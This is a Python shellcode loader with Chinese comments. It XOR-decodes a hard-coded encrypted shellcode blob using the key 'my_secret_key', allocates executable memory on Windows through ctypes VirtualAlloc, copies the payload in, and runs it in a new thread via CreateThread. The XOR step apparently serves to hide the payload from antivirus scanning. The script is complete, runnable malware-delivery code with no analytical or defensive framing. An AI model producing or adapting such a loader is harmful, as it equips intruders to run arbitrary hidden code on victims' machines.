import ctypes
def xor_encrypt(data: bytes, key: str) -> bytes:
    """
    使用自定义 key 进行 XOR 加密（对称）
    :param data: 要加密的原始字节数据
    :param key: 任意长度的字符串密钥
    :return: 加密后的字节数据
    """
    key_bytes = key.encode()
    key_len = len(key_bytes)
    return bytes([b ^ key_bytes[i % key_len] for i, b in enumerate(data)])

def xor_decrypt(encrypted_data: bytes, key: str) -> bytes:
    """
    XOR 解密，与加密函数完全相同（对称算法）
    """
    return xor_encrypt(encrypted_data, key)  # 同加密函数

key = "my_secret_key"

xor_shellcode=b"\x911\xdc\x97\x95\x8b\xb2et_*48=+\x0e%-R\xa0\x00<\xd49\x051\xe6+G;\xee1R-\xff-;-v\xda3\x15>T\xaa:T\xb4\xf3W\x04\x05oU\x7f2\xa4\xaa\x7f$u\x9e\x89\x88+,(\x17\xf87C\xf9'H\x17j\xb5\xf2\xed\xf1_se+\xf7\xa5\x008#d\xa9=\xf2\x17k!\xe82E=^\xbb\x86/%\x86\x962\xeeW\xfa-u\x89&T\xb0%H\x9f\xdf$\xa2\xbbh5^\xaa]\x99\x18\x88\x13p)Gz M\x8e\x1e\xbd!)\xf2\x1fW,b\xa2\x035\xd4g-=\xe69C:d\xb33\xeep\xd7#d\xa9,!\x1e+;:($,\x1e2$#%\xfa\xb3S$1\x8d\x85,\x1e2?1\xe6k\xb6$\x9a\x9c\x8d8<\xe5jeymy_se+\xff\xe8u^ke8\xd7H\xd4\x1c\xe2\x9c\xa7\xde\x84\xea\xc938\xd7\xdf\xca\xce\xf8\x9c\xa7-\xf7\x9bCY\x7f\x11s\xdf\x88\x85\x16w\xde3L\x19\n\x13m \x1e\xfa\xbf\x9c\xa7\x06\x153\x08K\x1c\x15\x1c_"

# 解密
print("[*] 解密 shellcode...")
shellcode = xor_decrypt(xor_shellcode,key)


# 执行
print("[*] 执行 shellcode...")
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
page = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(page), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(page), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)